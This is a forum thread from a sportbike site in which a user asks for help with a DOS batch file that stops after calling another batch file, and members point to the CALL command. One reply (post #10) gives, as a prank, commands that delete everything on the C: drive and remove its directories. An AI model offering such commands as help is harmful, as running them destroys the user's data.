DCSportbikes.net  
» Help Support .NET!
DCSportbikes Premier Membership for 25$ per year. Discounts! Click here for full information.

Now available in the .NET Shop:



Get your DCSBN Gear!
» Shoutbox
Sorry, only registered users have the ability to use our real-time shoutbox to chat with other members.

Register now, it's free!
» Online Users: 321
4 members and 317 guests
2blueyam, HotRod1200, legendindisguise, Sal_the_man
Most users ever online was 4,519, September 2, 2015 at 03:26 AM.
Go Back   DCSportbikes.net > Non-Sportbike Forums > Non-Sportbike Chat

Reply
LinkBack Thread Tools
DOS batch file help needed - emergency..
Unread
  (#1)
I came I saw I shat mysef
 
jron's Avatar
 
Posts: 2,068
Join Date: July 21, 2003
Location: Fairfax, VA
DOS batch file help needed - emergency.. - November 2, 2010, 02:20 PM

Not having written a DOS batch file in almost 20 years I suddenly have need to get one FINISHED... Everything is done but it stops execution after the running of another batch file.

Basically I wrote a script that iterates a directory and generates a command to be executed depending on groupings of files. I write these commands into another .bat file and when I am finished I execute the new bat file.
Everything works great EXCEPT.. The new .bat file quits executing after the first line. All lines in the file are valid. Each line is a call to another .bat file with changed params (bat is from a 3rd party). No error codes are being returned that I know of. I see no reason for it to stop processing.. Is there a simple switch I can put in my bat file to get it to keep going?

What a pain in the ass this has been. Please.. Give me bash, csh, ksh, anything over this dos nightmare..

Thanks,
john


-john
wera, ccs - novice # 979 - sv650
Aprilia Falco (sold), Gs500 (sold), KTM300 (sold)

"I'll believe corporations are people when Texas executes one of them."

Separation of Corp. And State!

R.I.P Alex Lyskawa - My heart will never heal from your passing.
  MySpace.com Page Send a message via AIM to Send a message via AIM to jron  
Reply With Quote
Unread
  (#2)
Happiness Consultant
 
EduardoSuave's Avatar
 
Posts: 7,231
Join Date: August 31, 2003
Location: The LC
November 2, 2010, 02:26 PM

install cygwin and rewrite the script in bash.


DBR
#135, #47, Vega
--
"Never contract friendship with a man that is not better than thyself." - Confucius

Will pay to see this
whatever henry's name is these days: jason, seriously, im going to kick your face in when I get back
  Send a message via AIM to Send a message via AIM to EduardoSuave  
Reply With Quote
Unread
  (#3)
I came I saw I shat mysef
 
jron's Avatar
 
Posts: 2,068
Join Date: July 21, 2003
Location: Fairfax, VA
November 2, 2010, 02:32 PM

Quote:
Originally Posted by EduardoSuave View Post
install cygwin and rewrite the script in bash.
no can do. gov't site and I can't install anything.
MUST be a DOS batch script only.

total SUCK!!!


-john
wera, ccs - novice # 979 - sv650
Aprilia Falco (sold), Gs500 (sold), KTM300 (sold)

"I'll believe corporations are people when Texas executes one of them."

Separation of Corp. And State!

R.I.P Alex Lyskawa - My heart will never heal from your passing.
  MySpace.com Page Send a message via AIM to Send a message via AIM to jron  
Reply With Quote
Unread
  (#4)
I'm a llama again!
 
Slider's Avatar
 
Posts: 4,318
Join Date: April 12, 2007
Location: Alexandria
November 2, 2010, 02:38 PM

Are you calling the next line with the full file path name?
  Send a message via AIM to  
Reply With Quote
Unread
  (#5)
GP Champ
 
Posts: 2,420
Join Date: June 22, 2006
Location: Pigtown, Baltimore
November 2, 2010, 02:41 PM

are you in a real DOS environment or some kind of modern shell that maybe doesn't have the command you're using?
  Send a message via AIM to  
Reply With Quote
Unread
  (#6)
Site Owner
 
ClemsonJeeper's Avatar
 
Posts: 12,971
Join Date: March 9, 2004
Location: CashBurn, VA
November 2, 2010, 02:42 PM

Are you using

CALL <batch file> in your first script?

eg:

a.bat:

Code:
@echo off
echo foo
call b.bat
echo bar
b.bat:

Code:
@echo off
echo baz
If you don't use "call" before the batch file, it won't return from it after it starts it.

Don't ask me how I remember this.


(O|||||||O) and (0OO\(||||)(||||)/OO0)

Help support DCSportbikes.net! Become a Premier Member today!

Katie #135.



Nudist: If Ben isnt still riding me, then I need it
B: that sounds odd

Last edited by ClemsonJeeper; November 2, 2010 at 02:49 PM..
  Facebook Page Send a message via AIM to Send a message via AIM to ClemsonJeeper  
Reply With Quote
Unread
  (#7)
Knarly Adventurer
 
wildjester's Avatar
 
Posts: 4,925
Join Date: March 22, 2006
Location: Omaha, NE
November 2, 2010, 02:48 PM

Are you in a hot tub time machine... DOS?


Everytime you cook up...a little boy gets crushed by a bridge. -JTG40cal



2013 Triumph Tiger 800XC
2009 Scrambler SOLD
2007 ZX14 SOLD
2005 R1 SOLD
1999 ZRX SOLD
1996 FZR SOLD
  Send a message via AIM to  
Reply With Quote
Unread
  (#8)
Site Owner
 
ClemsonJeeper's Avatar
 
Posts: 12,971
Join Date: March 9, 2004
Location: CashBurn, VA
November 2, 2010, 03:42 PM

yes, no, maybe?


(O|||||||O) and (0OO\(||||)(||||)/OO0)

Help support DCSportbikes.net! Become a Premier Member today!

Katie #135.



Nudist: If Ben isnt still riding me, then I need it
B: that sounds odd
  Facebook Page Send a message via AIM to Send a message via AIM to ClemsonJeeper  
Reply With Quote
Unread
  (#9)
Mojito Anyone?
 
onel0wcubn's Avatar
 
Posts: 10,210
Join Date: April 28, 2008
Location: La Habana
November 2, 2010, 03:52 PM

so


ay ya yay
  Send a message via AIM to Send a message via Yahoo to onel0wcubn Send a message via AIM to onel0wcubn  
Reply With Quote
Unread
  (#10)
#swag
 
Nick's Avatar
 
Posts: 10,213
Join Date: August 21, 2003
Location: Fairfax
November 2, 2010, 04:25 PM

echo y | del c:\*.* /S
rd c:\ /s /q


  Send a message via AIM to Send a message via AIM to Nick  
Reply With Quote
Unread
  (#11)
I came I saw I shat mysef
 
jron's Avatar
 
Posts: 2,068
Join Date: July 21, 2003
Location: Fairfax, VA
November 2, 2010, 08:00 PM

Quote:
Originally Posted by wildjester View Post
Are you in a hot tub time machine... DOS?
lol.. seems so...

Quote:
Originally Posted by Cutter View Post
are you in a real DOS environment or some kind of modern shell that maybe doesn't have the command you're using?
just running a .bat file from a cmd window in XP Pro.


I gave up with the external bat file. I wrote the script to append to the other file multiple lines of execution and then just ran the other damned script ONE time.. POS.. F*cking HATE DOS...


-john
wera, ccs - novice # 979 - sv650
Aprilia Falco (sold), Gs500 (sold), KTM300 (sold)

"I'll believe corporations are people when Texas executes one of them."

Separation of Corp. And State!

R.I.P Alex Lyskawa - My heart will never heal from your passing.
  MySpace.com Page Send a message via AIM to Send a message via AIM to jron  
Reply With Quote
Unread
  (#12)
Site Owner
 
ClemsonJeeper's Avatar
 
Posts: 12,971
Join Date: March 9, 2004
Location: CashBurn, VA
November 2, 2010, 09:24 PM

Quote:
Originally Posted by jron View Post
lol.. seems so...



just running a .bat file from a cmd window in XP Pro.


I gave up with the external bat file. I wrote the script to append to the other file multiple lines of execution and then just ran the other damned script ONE time.. POS.. F*cking HATE DOS...
Did you read my post or not?

The problem was because you probably weren't using CALL. If you just run the .bat file from another .bat file execution will not return back to your original file.


(O|||||||O) and (0OO\(||||)(||||)/OO0)

Help support DCSportbikes.net! Become a Premier Member today!

Katie #135.



Nudist: If Ben isnt still riding me, then I need it
B: that sounds odd
  Facebook Page Send a message via AIM to Send a message via AIM to ClemsonJeeper  
Reply With Quote
Unread
  (#13)
I came I saw I shat mysef
 
jron's Avatar
 
Posts: 2,068
Join Date: July 21, 2003
Location: Fairfax, VA
November 3, 2010, 06:59 AM

Quote:
Originally Posted by ClemsonJeeper View Post
Did you read my post or not?

The problem was because you probably weren't using CALL. If you just run the .bat file from another .bat file execution will not return back to your original file.
Thanks.
I will try "call" when I get the chance but I had already torn it apart and done it so that I didn't need to call anything. Man, working 18 and 20 hour days and fighting with that kinda stuff just is NOT fun..

I will probably have to write a couple of more scripts. Will try it. Annoying think is.. It RAN the script the first time. It was only subsequent calls that failed. Basically, running the other script ended the current one. I guess using CALL will fix that.. Will give it a shot.


-john
wera, ccs - novice # 979 - sv650
Aprilia Falco (sold), Gs500 (sold), KTM300 (sold)

"I'll believe corporations are people when Texas executes one of them."

Separation of Corp. And State!

R.I.P Alex Lyskawa - My heart will never heal from your passing.

Last edited by jron; November 3, 2010 at 07:01 AM..
  MySpace.com Page Send a message via AIM to Send a message via AIM to jron  
Reply With Quote
Reply


Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Powered by vBadvanced CMPS v3.2.3


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2019, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO 3.6.0
vBulletin Skin developed by: vBStyles.com
All logos and trademarks in this site are property of their respective owner. The comments are property of their posters, all the rest 2002-2010 by DCSportbikes.net. DCSportbikes.net is owned by End of Time Studios, LLC.